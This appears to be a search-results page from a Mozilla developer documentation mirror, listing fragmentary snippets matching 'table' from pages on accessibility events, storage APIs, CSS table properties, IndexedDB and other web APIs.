...o event_selection_changed is supported: yes event_text_attribute_changed a text object's attributes changed. also see event_object_attribute_changed is supported: no event_text_caret_moved the caret has moved to a new position. is supported: yes event_text_changed this event indicates general text changes, i.e. changes to text that is exposed through the iaccessibletext and iaccessibleedi
tabletext interfaces. is supported: no event_text_inserted text was inserted. is supported: yes event_text_removed text was removed. event_text_updated text was updated. event_text_selection_changed the text selection changed. event_visible_data_changed a visibile data event indicates the change of the visual appearance of an accessible object. this includes for example most of the attributes av...
...ged the text selection changed. event_visible_data_changed a visibile data event indicates the change of the visual appearance of an accessible object. this includes for example most of the attributes available via the iaccessiblecomponent interface. event_text_column_changed the caret moved from one column to the next. event_section_changed the caret moved from one section to the next. ...
...And 6 more matches
mozIStorageConnection
it is the primary interface for interacting with a database, including creating prepared statements, executing sql, and examining database errors. 1.0 68 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) for a general overview on how to use this interface, see storage. ...
...in autf8string afunctionname, in long anumarguments, in mozistorageaggregatefunction afunction); mozistorageasyncstatement createasyncstatement(in autf8string asqlstatement); void createfunction(in autf8string afunctionname, in long anumarguments, in mozistoragefunction afunction); mozistoragestatement createstatement(in autf8string asqlstatement); void create
table(in string a
tablename, in string a
tableschema); mozistoragependingstatement executeasync([array, size_is(anumstatements)] in mozistoragebasestatement astatements, in unsigned long anumstatements, [optional] in mozistoragestatementcallback acallback ); void executesimplesql(in autf8string asqlstatement); boolean indexexists(in autf8string aindexname); void prelo...
...this will be false if the connection failed to open, or it has been closed. read only. databasefile nsifile the current database nsifile. null if the database connection refers to an in-memory dat...
...And 6 more matches
nsIAccessibleRole
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) constants constant value description role_nothing 0 used when accessible has no strong defined role. role_titlebar 1 represents a title or caption bar for a window. it is used by msaa only, supported automatically by ms windows. role_menubar 2 represents the menu bar (positioned beneath the title bar of a window) from which menus are selected by the user. the role is used by xul:menubar or role="menubar". ...
...ovides easy access to frequently used features. it is used for xul:toolbar, role="toolbar". role_statusbar 23 represents a status bar, which is an area at the bottom of a window that displays information about the current operation, state of the application, or selected object. the status bar has multiple fields, which display different kinds of information. it is used for xul:statusbar. role_
table 24 represents a
table that contains rows and columns of cells, and optionally, row headers and column headers. it is used for html:
table, role="grid". also refer to the following roles: role_columnheader, role_rowheader, role_column, role_row, role_cell. role_columnheader 25 represents a column header, providing a visual label for a column in a
table. it is used for xul tree column headers, htm...
...nd columns of cells, and optionally, row headers and column headers. it is used for html:
table, role="grid". also refer to the following roles: role_columnheader, role_rowheader, role_column, role_row, role_cell. role_columnheader 25 represents a column header, providing a visual label for a column in a
table. it is used for xul tree column headers, html:th, role="colheader". also refer to role_
table. role_rowheader 26 represents a row header, which provides a visual label for a
table row. it is used for role="rowheader". also, see role_
table. role_column 27 represents a column of cells within a
table. also, see role_
table. role_row 28 represents a row of cells within a
table. also, see role_
table. role_cell 29 represents a cell within a
table. it is used for html:td, xul:tree cell an...
...And 6 more matches
ARIA Test Cases - Accessibility
pass 2. fail - - voiceover (leopard) n/a n/a - fail window-eyes - - - - nvda - - - - zoom (leopard) pass n/a pass pass ...
... - - jaws 10 - 1. pass 2. fail - - voiceover (leopard) n/a n/a - fail window-eyes - - - - nvda - - - - zoom (leopard) pass n/a pass pass zoomtext - - - - orca - - - -
table legend - no info/test yet n/a not applicable (not supported technically) pass expected behaviour met fail expected behaviour notmet 1. 2. reference to link example note regarding dojo/dijit test files the main purpose of dojo's dijit test files are for dojo developers to exercise and debug the code. as ...
... roles can be directly checked. also, as a clever feature for at testing, the firing of events (like event_object_statechange) can be invoked from the examples. finally, a list of currently non-mapped aria roles is given. documenting and filing bugs review the information on how to file a bug on an aria implementation. when documenting an issue, please also list it in the relevant compatibility
table below. when possible provide a link to the bug in the database so that its status can be reviewed. widget test cases alert simple alert complex alert real alert example with aria-required and aria-invalid -- type in a email address without an at sign to test the alert expected at behavior: a screen reader or screen magnifier must speak an alert when it becomes visible. a screen magni...
...And 6 more matches
border-collapse - CSS: Cascading Style Sheets
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. when cells are collapsed, the border-style value of inset behaves like groove, and outset behaves like ridge. when cells are separated, the distance between cells is defined by the border-spacing property. ...
...ed by the border-spacing property. syntax /* keyword values */ border-collapse: collapse; border-collapse: separate; /* global values */ border-collapse: inherit; border-collapse: initial; border-collapse: unset; the border-collapse property is specified as a single keyword, which may be chosen from the list below. ...
...rder-collapse: separate; /* global values */ border-collapse: inherit; border-collapse: initial; border-collapse: unset; the border-collapse property is specified as a single keyword, which may be chosen from the list below. values collapse adjacent cells have shared borders (the collapsed-border
table rendering model). separate adjacent cells have distinct borders (the separated-border
table rendering model). ...
...And 6 more matches
caption-side - CSS: Cascading Style Sheets
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...de: top; caption-side: bottom; /* warning: non-standard values */ caption-side: left; caption-side: right; caption-side: top-outside; caption-side: bottom-outside; /* global values */ caption-side: inherit; caption-side: initial; caption-side: unset; the caption-side property is specified as one of the keyword values listed below. values top the caption box should be positioned above the
table. bottom the caption box should be positioned below the
table. left the caption box should be positioned on the left side of the
table. this value was proposed for css 2, but removed from the final css 2.1 specification. it is non-standard. right the caption box should be positioned on the right side of the
table. this value was proposed for css 2, but removed from the final css ...
...tioned on the left side of the
table. this value was proposed for css 2, but removed from the final css 2.1 specification. it is non-standard. right the caption box should be positioned on the right side of the
table. this value was proposed for css 2, but removed from the final css 2.1 specification. it is non-standard. top-outside the caption box should be positioned above the
table, while the width and horizontal alignment behavior are not bound to the
table's horizontal layout. the css 2.1 specification notes that the css 2 specification described a different behavior for the top value, which will be reintroduced by this value in a future specification. ...
...And 6 more matches
empty-cells - CSS: Cascading Style Sheets
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. this property has an effect only when the border-collapse property is separate. syntax /* keyword values */ empty-cells: show; empty-cells: hide; /* global values */ empty-cells: inherit; empty-cells: initial; empty-cells: unset; the empty-cells property is specified as one of the keyword values listed below. ...
...syntax /* keyword values */ empty-cells: show; empty-cells: hide; /* global values */ empty-cells: inherit; empty-cells: initial; empty-cells: unset; the empty-cells property is specified as one of the keyword values listed below. values show borders and backgrounds are drawn like in normal cells. hide no borders or backgrounds are drawn. ...
...: unset; the empty-cells property is specified as one of the keyword values listed below. values show borders and backgrounds are drawn like in normal cells. hide no borders or backgrounds are drawn. ...
...And 6 more matches
vertical-align - CSS: Cascading Style Sheets
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the vertical-align property can be used in two contexts: to vertically align an inline element's box inside its containing line box. ...
...g"/> -100%:<img style="vertical-align:-100%" src="https://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> </p> #* { box-sizing: border-box; } img { margin-right: 0.5em; } p { height: 3em; padding: 0 .5em; font-family: monospace; text-decoration: underline overline; margin-left: auto; margin-right: auto; width: 80%; } to vertically align the content of a cell in a
table: <
table> <tr> <td style="vertical-align: baseline">baseline</td> <td style="vertical-align: top">top</td> <td style="vertical-align: middle">middle</td> <td style="vertical-align: bottom">bottom</td> <td> <p>there is a theory which states that if ever anyone discovers exactly what the universe is for and why it is here, it will instantly disappear and be replaced by...
... syntax /* keyword values */ vertical-align: baseline; vertical-align: sub; ve...
...And 6 more matches
Rich-Text Editing in Mozilla - Developer guides
note: this document is out-of-date; you are advised to consult the more up-to-date document available at making content edi
table. mozilla 1.3 introduces an implementation of microsoft® internet explorer's designmode feature. the rich-text editing support in mozilla 1.3 supports the designmode feature which turns html documents into rich-text editors. starting in firefox 3, mozilla also supports internet explorer's contentedi
table attribute which allows any element to become edi
table or non-edi
table (the latter for when preventing change to fixed elements in an edi
table environment). setting up rich-text editing rich-text editing is initialized by setting the designmode property of a document to "on", such as the document inside an iframe. once designmode has been set to "on", the ...
...initialized by setting the designmode property of a document to "on", such as the document inside an iframe. once designmode has been set to "on", the document becomes a rich-text editing area and the user can type into it as if it were a textarea. the most basic keyboard commands such as copy and paste are available, all others need to be implemented by the website. similarly, setting contentedi
table to "true" allows you to make individual elements of a document edi
table. executing commands when an html document has been switched to designmode, the document object exposes the document.execcommand method which allows one to run commands to manipulate the contents of the edi
table region. most commands affect the document's selection (bold, italics, etc), while others insert new elements (addi...
...le. executing commands when an html document has been switched to designmode, the document object exposes the document.execcommand method which allows one to run commands to manipulate the contents of the edi
table region. most commands affect the document's selection (bold, italics, etc), while others insert new elements (adding a link) or affect an entire line (indenting). when using contentedi
table, calling execcommand will affect the currently active edi
table element. internet explorer differences one major difference between mozilla and internet explorer that affects designmode is the generated code in the edi
table document: while internet explorer uses html tags (em, i, etc), mozilla 1.3 will generate by default spans with inline style rules. the stylewithcss command can be used to tog...
...And 6 more matches
HTML elements reference - HTML: Hypertext Markup Language
tions of content. element description <address> the html <address> element indicates that the enclosed html provides contact information for a person or people, or for an organization. <article> the html <article> element represents a self-contained composition in a document, page, application, or site, which is intended to be independently distribu
table or reusable (e.g., in syndication). <aside> the html <aside> element represents a portion of a document whose content is only indirectly related to the document's main content. <footer> the html <footer> element represents a footer for its nearest sectioning content or sectioning root element. a footer typically contains information about the author of the section, cop...
...ent. the main content area consists of content that is directly related to or expands upon the central topic of a document, or the central functionality of an application. <nav> the html <nav> element represents a section of a page whose purpose is to provide navigation links, either within the current document or to other documents. common examples of navigation sections are menus,
tables of contents, and indexes. <section> the html <section> element represents a standalone section — which doesn't have a more specific semantic element to represent it — contained within an html document. text content use html text content elements to organize blocks or sections of content placed between the opening <body> and closing </body> tags. important for accessibi...
... the html <area> element defines a hot-spot region on an image, and optionally associates it with a hypertext link. this element is used only within a <map> element. <audio> the html <audio> element is used to embed sound content in documents. it may contain one or more audio sources, represented using the src attribute or the <source> element: the browser will choose the most sui
table one. it can also be the destination for streamed media, using a mediastream. <img> the html <img> element embeds an image into the document. <map> the html <map> element is used with <area> elements to define an image map (a clickable link area). <track> the html <track> element is used as a child of the media elements, <audio> and <video>. it lets you sp...
...And 6 more matches
Expressions and operators - JavaScript
, x++ or ++x. assignment operators an assignment operator assigns a value to its left operand based on the value of its right operand. the simple assignment operator is equal (=), which assigns the value of its right operand to its left operand. that is, x = y assigns the value of y to x. ...
...ns, assignments like x = y have a return value. it can be retrieved by e.g. assigning the expression or logging it: const z = (x = y); // or equivalently: const z = x = y; console.log(z); // log the return value of the assignment x = y. console.log(x = y); // or log the return value directly. the return value matches the expression to the right of the = sign in the “meaning” column of the
table above. that means that (x = y) returns y, (x += y) returns the resulting sum x + y, (x **= y) returns the resulting power x ** y, and so on. in the case of logical assignments, (x &&= y), (x ||= y), and (x ??= y), the return value is that of the logical operation without the assignment, so x && y, x || y, and x ?? y, respectively. note that the return values are always based on the operands’ ...
...pts to convert them to an appropriate type for the comparison. this behavior generally results in comparing the operands numerically. the sole exceptions to type conversion within comparisons involve the === and !== operators, which perform strict equality and inequality comparisons. these operators do not attempt to convert the operands to compatible types before checking equality. the following
table describes the comparison operators in terms of this sample code: var var1 = 3; var var2 = 4; comparison operators operator description examples returning true equal (==) returns true if the operands are equal. 3 == var1 "3" == var1 3 == '3' not equal (!=) returns true if the operands are not equal. var1 != 4 var2 != "3" str...
...And 6 more matches
JXON - Archive of obsolete content
object tree (because of the "static" nature of an xml document), uncomment the string: /* object.freeze(this); */. the object.freeze() method prevents new properties from being added to it, prevents existing properties from being removed and prevents existing properties, or their enumerability, configurability, or writability, from being changed. in essence the object tree is made effectively immu
table. with this algorithm our example becomes: { "catalog": { "product": { "catalog_item": [{ "item_number": { "keyvalue": "qwz5671" }, "price": { "keyvalue": 39.95 }, "size": [{ "color_swatch": [{ "keyvalue": "red", "keyattributes": { "image": "red_cardigan.jpg" } }, { ...
...object tree (because of the "static" nature of an xml document), uncomment the string: /* object.freeze(this); */. the object.freeze() method prevents new properties from being added to it, prevents existing properties from being removed and prevents existing properties, or their enumerability, configurability, or writability, from being changed. in essence the object tree is made effectively immu
table. with this algorithm our example becomes: { "catalog": { "product": { "catalog_item": [{ "item_number": { "keyvalue": "qwz5671" }, "price": { "keyvalue": 39.95 }, "size": [{ "color_swatch": [{ "keyvalue": "red", "@image": "red_cardigan.jpg" }, { "keyvalue": "burgundy",...
...the "static" nature of an xml document), uncomment the string: /* if (nlength > 0) { object.freeze(vresult); } */. the object.freeze() method prevents new properties from being added to it, prevents existing properties from being removed and prevents existing properties, or their enumerability, configurability, or writability, from being changed. in essence the object tree is made effectively immu
table. with this algorithm, our example becomes: { "catalog": { "product": { "@description": "cardigan sweater", "catalog_item": [{ "@gender": "men's", "item_number": "qwz5671", "price": 39.95, "size": [{ "@description": "medium", "color_swatch": [{ "@image": "red_cardigan.jpg", "keyvalue": "red" }...
...And 5 more matches
Reading textual data - Archive of obsolete content
aracter encoding of the data. you can fallback to the default character encoding stored in preferences (intl.charset.default, a localized pref value) when reading from a file, the question is harder to answer. using the system character encoding may work (xxx insert text how to get it), or again the default character encoding from preferences. converting read data if you read data from nsiscrip
tableinputstream as described on the file i/o code snippets page, you can convert it to utf-8 // sstream is nsiscrip
tableinputstream var str = sstream.read(4096); var utf8converter = components.classes["@mozilla.org/intl/utf8converterservice;1"]. getservice(components.interfaces.nsiutf8converterservice); var data = utf8converter.converturispectoutf8 (str, "utf-8"); gecko 1.8 and newer reading s...
...e); // now you can do something with line.value } while (cont); } the above example reads an entire stream until eof. see nsiconverterinputstream for nsiconverterinputstream.init() arguments. earlier versions reading strings earlier versions of gecko do not provide easy ways to read unicode data from a stream. ...
...terinputstream for nsiconverterinputstream.init() arguments. earlier versions reading strings earlier versions of gecko do not provide easy ways to read unicode data from a stream. you will have to manually read a block of data and convert it using nsiscrip
tableunicodeconverter. ...
...And 5 more matches
Accessing Files - Archive of obsolete content
file and stream guide: [ nsiscrip
tableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscrip
tableio), which was not available in any released version of the platform (pending some fixes). there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome! other documentation on files and i/o not using the unavailable nsiscrip
tableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes. accessing files this section describes how to crea...
...because string paths are not used, references to files in a file object are made relative to some starting directory. a number of starting directories may be used, for instance, the user's home directory, the desktop, the system's temporary folder, and so forth. ...
..., and so forth. once one of these starting directories is determined, a file reference may be created relative to this. a common case is to write a file in the directory that holds the user's preferences. this is a convenient location where an extension might save a file it needs to use. this directory is referred to as the user's profile directory. ...
...And 5 more matches
editor - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a frame which is expected to contain an edi
table document. set the value of the editortype attribute to html to create an editor document. mozilla provides two types of editors, the html editor and the plaintext editor. the editor does not provide any editing user interface; you would supply that yourself. however, text editing, image resizing, and
table row and cell editing capabilities are provided. if you do not set the editortype attribute on an editor, you must enable editing using the makeedi
table method. to specify the document to load in the editor use the src attribute. however, an issue is that if you specify the src attribute initially on the editor tag in the xul file, the document ...
...diting, image resizing, and
table row and cell editing capabilities are provided. if you do not set the editortype attribute on an editor, you must enable editing using the makeedi
table method. to specify the document to load in the editor use the src attribute. however, an issue is that if you specify the src attribute initially on the editor tag in the xul file, the document does not become edi
table by default. to enable editing on an editor, do either of the following: set the src attribute on the editor after the outer window has loaded, for example, in the onload handler. you might also set the src attribute based on what the user selects from a file dialog. in this case, set the editortype attribute on the editor. ...
... enable the design mode of the document loaded in the editor. to edit a new document, set the src attribute to about:blank. to access most of the functionality of the editor, your application must be part of an extension or part of the chrome. ...
...And 5 more matches
display-outside - Archive of obsolete content
the display-outside css property specifies the outer display type of the box generated by an element, dictating how the element participates in its parent formatting context. ...
... the display-outside css property specifies the outer display type of the box generated by an element, dictating how the element participates in its parent formatting context. ...
...ss property specifies the outer display type of the box generated by an element, dictating how the element participates in its parent formatting context. ...
...And 5 more matches
Tips for authoring fast-loading HTML pages - Learn web development
in user input and then programmatically "correct" or normalize it; or whether, instead, to enforce a strict, no-tolerance input format). moreover, valid markup allows for the free use of other tools which can pre-process your web pages. for example, html tidy can remove whitespace and optional ending tags; however, it will refuse to run on a page with serious markup errors. ...
... markup allows for the free use of other tools which can pre-process your web pages. for example, html tidy can remove whitespace and optional ending tags; however, it will refuse to run on a page with serious markup errors. chunk your content
tables for layouts are a legacy method that should not be used anymore. layouts utilizing floats, positioning, flexbox, or grids should be used instead.
tables are still considered valid markup but should be used for displaying tabular data. ...
...it will refuse to run on a page with serious markup errors. chunk your content
tables for layouts are a legacy method that should not be used anymore. layouts utilizing floats, positioning, flexbox, or grids should be used instead.
tables are still considered valid markup but should be used for displaying tabular data. to help the browser render your page quicker, you should avoid nesting your
tables. rather than deeply nesting
tables as in: <
table> <
table> <
table> ... </
table> </
table> </
table> use non-nested
tables or divs as in <
table>...</
table> <
table>...</
table> <
table>...</
table> see also: css flexible box layout and css grid layout specifications. minify and compress svg assets svg produced by most drawing applications often contains unnecessary metadata...
...And 5 more matches
Assessment: Structuring planet data - Learn web development
if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. note: alternatively, you could use a site like jsbin or glitch to do your assessment. ...
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. note: alternatively, you could use a site like jsbin or glitch to do your assessment. ...
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. note: alternatively, you could use a site like jsbin or glitch to do your assessment. ...
...And 5 more matches
Error codes returned by Mozilla APIs
each error is listed by its name and an error code in parentheses. an error will typically be displayed on the error console, but can be captured using a try-catch block in javascript. these constants can be accessed through components.results. for example, by using components.results.ns_error_not_initialized general errors the following errors are general and can occur when using any component. ns_error_not_initialized (0xc1f30001) an attempt was made to use a component or object which has not yet been initialized. these components usually provide an initialization method, often called init, which must be called before other methods are used. ...
... registering a component and the registration should try registering again later. ns_error_factory_not_loaded (0x800401f8) ns_error_factory_exists (0xc1f30100) ns_error_factory_no_signature_support (0xc1f30101) ns_error_proxy_invalid_in_parameter (0x80010010) ns_error_proxy_invalid_out_parameter (0x80010011) ns_error_cannot_convert_data (0x80460001) ns_error_object_is_immu
table (0x80460002) ns_error_loss_of_significant_data (0x80460003) ns_error_illegal_during_shutdown (0x8046001e) many operations cannot be performed once the application is being shutdown. this error will occur in this situation. file errors the following
table lists the errors that could occur when using files. while these errors can occur when using the file apis, they can also occur with ...
... a filename. in addition, this error may occur when a relative path is supplied to a method that expects an absolute path and vice versa. ns_error_file_unresolvable_symlink (0x80520002) an attempt was made to access a symbolic link to a file or directory which does not exist. ns_error_file_execution_failed (0x80520003) an attempt to launch or execute a file failed because the file is not execu
table. nsifile.isexecu
table() may be used to check if a file is execu
table. ns_error_file_unknown_type (0x80520004) an call was made to nsifile.create() with an invalid type. only normal_file_type and directory_type are allowed. ns_error_file_destination_not_dir (0x80520005) an attempt was made to copy or move a file to a destination that is not a directory. ns_error_file_target_does_not_exist (0x...
...And 5 more matches
Sqlite.jsm
fore calling this function. this returns a promise that is resolved when the operation completes. discardcachedstatements() this function is used to discard cached statement instances, freeing memory in the process. active cached statements will not be discarded. therefore, it is safe to call this any time. this returns an integer count of the number of cached statements that were discarded.
table and schema management these apis deal with management of
tables and database schema. getschemaversion() the user-set version associated with the schema for the current database. if no schema version has been set, this will return the string "0". setschemaversion(value) sets value as the new version associated with the schema for the current database. this is a wrapper around the pragma user_...
... indexexists(name) this functions determines whether a named index exists in the current database. ...
...base schema. getschemaversion() the user-set version associated with the schema for the current database. if no schema version has been set, this will return the string "0". setschemaversion(value) sets value as the new version associated with the schema for the current database. this is a wrapper around the pragma user_version statement.
tableexists(name) this function determines whether a
table exists in the current database. it returns a promise that is resolved with a boolean indicating whether the
table exists. indexexists(name) this functions determines whether a named index exists in the current database. it returns a promise that is resolved with a boolean indicating whether the index exists. statement execution these apis facilitate execution of statements on the connection. ...
...And 5 more matches
Dynamic Library Linking
this section describes nspr's programming interface to load, unload and resolve symbols in dynamic libraries. it also provides a method by which to condition symbols of statically linked code so that to other clients it appears as though they are dynamically loaded. library linking types these data types are defined for dynamic library linking: prlibrary prstaticlink
table library linking functions the library linking functions are: pr_setlibrarypath pr_getlibrarypath pr_getlibraryname pr_freelibraryname pr_loadlibrary pr_unloadlibrary pr_findsymbol pr_findsymbolandlibrary finding symbols defined in the main execu
table program pr_loadlibrary cannot open a handle that references the main execu
table program. (this is admittedly an omission that should be fixed.) however, it ...
...ypath pr_getlibrarypath pr_getlibraryname pr_freelibraryname pr_loadlibrary pr_unloadlibrary pr_findsymbol pr_findsymbolandlibrary finding symbols defined in the main execu
table program pr_loadlibrary cannot open a handle that references the main execu
table program. (this is admittedly an omission that should be fixed.) however, it is possible to look up symbols defined in the main execu
table program as follows. prlibrary *lib; void *funcptr; funcptr = pr_findsymbolandlibrary("functionname", &lib); when pr_findsymbolandlibrary returns, funcptr is the value of the function pointer you want to look up, and the variable lib references the main execu
table program. you can then call pr_findsymbol on lib to look up other symbols defined in the main program. remember to call pr_unloadlib...
...iable lib references the main execu
table program. you can then call pr_findsymbol on lib to look up other symbols defined in the main program. remember to call pr_unloadlibrary(lib) to close the library handle when you are done. platform notes to use the dynamic library loading functions on some platforms, certain environment variables must be set at run time, and you may need to link your execu
table programs using special linker options. this section summarizes these platform idiosyncrasies. for more information, consult the man pages for ld and dlopen (or shl_load on hp-ux) for unix, and the loadlibrary documentation for win32. ...
...And 5 more matches
Gecko states
ject is unavailable, i.e. disabled. applied to: all roles. state_selected the object is selected, i.e. indicates this object is the child of an object that allows its children to be selected and that this child is one of those children that has been selected. applied to: role_menuitem, role_cell, role_outlineitem, xxx: continue events: event_state_change Сoncomitant state: state_selec
table state_focused the object is focused applied to: events: concomitant state: state_focusable state_pressed the object is pressed. state_checked the object is checked state_mixed indicates that the state of a three-state check box or toolbar button is not determined. the check box is neither checked nor unchecked and is therefore in the third or mixed state. state_readonly the object...
.... state_selfvoicing the object or child uses text-to-speech (tts) technology for description purposes. a speech-based accessibility aid does not announce information when an object with this state has the focus because the object automatically announces information. isn't used state_focusable the object can be focused. ...
... applied to: events: concomitant state: state_focused state_selec
table the object can be selected. applied to: events: concomitant state: state_selected state_linked indicates that the object is formatted as a hyperlink. the object role will usually be role_text_leaf. state_traversed the object is a hyperlink that has been visited (previously clicked) by a user. state_multiselec
table supports multiple selection state_extselec
table supports extended selection state_required indicates that user interaction is required. state_important isn;t used. state_invalid indicates a validation failure. ...
...And 5 more matches
Mozilla internal string guide
ring: .assign(string) - assigns a new value to the string. .append(string) - appends a value to the string. .insert(string, position) - inserts the given string before the code unit at position. .truncate(length) - shortens the string to the given length. complete documentation can be found in the appendix. read-only strings the const attribute on a string determines if the string is wri
table. if a string is defined as a const nsastring then the data in the string cannot be manipulated. if one tries to call a non-const method on a const string the compiler will flag this as an error at build time. for example: void nsfoo::reversecharacters(nsastring& str) { ... str.assign(reversedstr); // modifies the string } this should not compile, because you're assigning to a const...
...hether there is a tab character in `data` */ bool hastab(const nsastring& data) { const char16_t* cur = data.beginreading(); const char16_t* end = data.endreading(); for (; cur < end; ++cur) { if (char16_t('\t') == *cur) return true; } return false; } note that `end` points to the character after the end of the string buffer. it should never be dereferenced. writing to a mu
table string is also simple: /** * replace every tab character in `data` with a space. */ void replacetabs(nsastring& data) { char16_t* cur = data.beginwriting(); char16_t* end = data.endwriting(); for (; cur < end; ++cur) { if (char16_t('\t') == *cur) *cur = char16_t(' '); } } you may change the length of a string via setlength(). note that iterators become invalid after changi...
... calling finish() in the failure case, in which case the destructor of the handle puts the string in a mostly harmless but consistent state (containing a single replacement character if a capacity greater than 0 was requested, or in the char case if the three-byte utf-8 representation of the replacement character doesn't fit, an ascii substitute). mozilla::bulkwritehandle<t> autoconverts to a wri
table mozilla::span<t> and also provides explicit access to itself as span (asspan()) or via component accessors named consistently with those on span: elements() and length() the latter is not the logical length of the string but the wri
table length of the buffer. the buffer exposed via these methods includes the prefix that you may have requested to be preserved. it's up to you to skip past it so as ...
...And 5 more matches
XPCOM Interface Reference
this is a reference to the xpcom interfaces provided by the mozilla platform. ...
... this is a reference to the xpcom interfaces provided by the mozilla platform. ...
... this is a reference to the xpcom interfaces provided by the mozilla platform. ...
...And 5 more matches
Document.execCommand() - Web APIs
syntax document.execcommand(acommandname, ashowdefaultui, avalueargument) return value a boolean that is false if the command is unsupported or disabled. ...
... syntax document.execcommand(acommandname, ashowdefaultui, avalueargument) return value a boolean that is false if the command is unsupported or disabled. ...
... syntax document.execcommand(acommandname, ashowdefaultui, avalueargument) return value a boolean that is false if the command is unsupported or disabled. ...
...And 5 more matches
Using IndexedDB - Web APIs
xed these objects, so we don't need window.mozidb*) beware that implementations that use a prefix may be buggy, or incomplete, or following an old version of the specification. therefore, it is not recommended to use it in production code. it may be preferable to not support a browser than to claim to support it and fail: if (!window.indexeddb) { console.log("your browser doesn't support a s
table version of indexeddb. such and such feature will not be available."); } opening a database we start the whole process like this: // let us open our database var request = window.indexeddb.open("mytestdatabase", 3); see that? opening a database is just like any other operation — you have to "request" it. the open request doesn't open the database or start the transaction right away. the c...
.... other and older implementations don't implement the current version of the spec, and thus do not support the indexeddb.open(name, version).onupgradeneeded signature yet. for more information on how to upgrade the version of the database in older webkit/blink, see the idbdatabase reference article. structuring the database now to structure the database. ...
...cle. structuring the database now to structure the database. indexeddb uses object stores rather than
tables, and a single database can contain any number of object stores. whenever a value is stored in an object store, it is associated with a key. there are several different ways that a key can be supplied depending on whether the object store uses a key path or a key generator. the following
table shows the different ways the keys are supplied: key path (keypath) key generator (autoincrement) description no no this object store can hold any kind of value, even primitive values like numbers and strings. you must supply a separate key argument whenever you want to add a new value. yes no this object store can only hold javascript objects. the...
...And 5 more matches
URL API - Web APIs
through its properties. let addr = new url("/docs/web/api/url_api"); let host = addr.host; let path = addr.pathname; the snippet above creates a url object for the article you're reading right now, then fetches the host and pathname properties. in this case, those strings are developer.mozilla.org and /docs/web/api/url_api, respectively. changing the url most of the properties of url are set
table; you can write new values to them to alter the url represented by the object. for example, to create a url and set its username: let myusername = "someguy"; let addr = new url("https://mysite.com/login"); addr.username = myusername; setting the value of username not only sets that property's value, but it updates the overall url. after executing the code snippet above, the value returned by ad...
...t. for example, to create a url and set its username: let myusername = "someguy"; let addr = new url("https://mysite.com/login"); addr.username = myusername; setting the value of username not only sets that property's value, but it updates the overall url. after executing the code snippet above, the value returned by addr.href is https://someguy@mysite.com/login. this is true for any of the wri
table properties. queries the search property on a url contains the query string portion of the url. for example, if the url is https://mysite.com/login?user=someguy&page=news, then the value of the search property is ?user=someguy&page=news. you can also look up the values of individual parameters with the urlsearchparams object's get() method: let addr = new url("https://mysite.com/login?user=some...
...s a simple one, with only a couple of interfaces to its name: url urlsearchparams older versions of the specification included an interface called urlutilsreadonly, which has since been merged into the workerlocation interface. examples if you want to process the parameters included in a url, you could do it manually, but it's much easier to create a url object to do it for you. ...
...And 5 more matches
Migrating from webkitAudioContext - Web APIs
roperty has been changed to use web idl enums. ...
...y has been changed to use web idl enums. ...
...= osc.triangle; // triangle waveform osc.setwave
table(
table); var iscustom = (osc.type == osc.custom); // iscustom will be true // new standard audiocontext code: var osc = context.createoscillator(); osc.type = "sine"; // sine waveform osc.type = "square"; // square waveform osc.type = "sawtooth"; // sawtooth waveform osc.type = "triangle"; // triangle waveform osc.setperiodicwave(
table); // note: setwave
table has been renamed to setperiodicwave! var iscustom = (osc.type == "custom"); // iscustom will be true biquadfilternode.type biquadfilternode's type property has been changed to use web idl enums. old code using webkitaudiocontext can be ported to standards based audiocontext like below: // old webkitaudiocontext code: var filter = context.createbiquadfilter(); filter.
...And 5 more matches
border-spacing - CSS: Cascading Style Sheets
the border-spacing css property sets the distance between the borders of adjacent <
table> cells. this property applies only when border-collapse is separate. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the border-spacing value is also used along the outside edge of the
table, where the distance between the
table's border and the cells in the first/last column or row is the sum of the relevant (horizontal or vertical) border-spacing and the relevant (top, right, bottom, or left) padding on the
table. ...
... pull request. the border-spacing value is also used along the outside edge of the
table, where the distance between the
table's border and the cells in the first/last column or row is the sum of the relevant (horizontal or vertical) border-spacing and the relevant (top, right, bottom, or left) padding on the
table. note: the border-spacing property is equivalent to the deprecated cellspacing <
table> attribute, except that it has an optional second value that can be used to set different horizontal and vertical spacing. syntax /* <length> */ border-spacing: 2px; /* horizontal <length> | vertical <length> */ border-spacing: 1cm 2em; /* global values */ border-spacing: inherit; border-spacing: initial; border-spacing: unset; the border-spacing property may be specified as either one or ...
...acings between cells. when two <length> values are specified, the first value defines the horizontal spacing between cells (i.e., the space between cells in adjacent columns), and the second value defines the vertical spacing between cells (i.e., the space between cells in adjacent rows). values <length> the size of the spacing as a fixed value. ...
...And 5 more matches
float - CSS: Cascading Style Sheets
ect, please clone https://github.com/mdn/interactive-examples and send us a pull request. a floating element is one where the computed value of float is not none. ...
...se clone https://github.com/mdn/interactive-examples and send us a pull request. a floating element is one where the computed value of float is not none. ...
...//github.com/mdn/interactive-examples and send us a pull request. a floating element is one where the computed value of float is not none. ...
...And 5 more matches
visibility - CSS: Cascading Style Sheets
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. to both hide an element and remove it from the document layout, set the display property to none instead of using visibility. ...
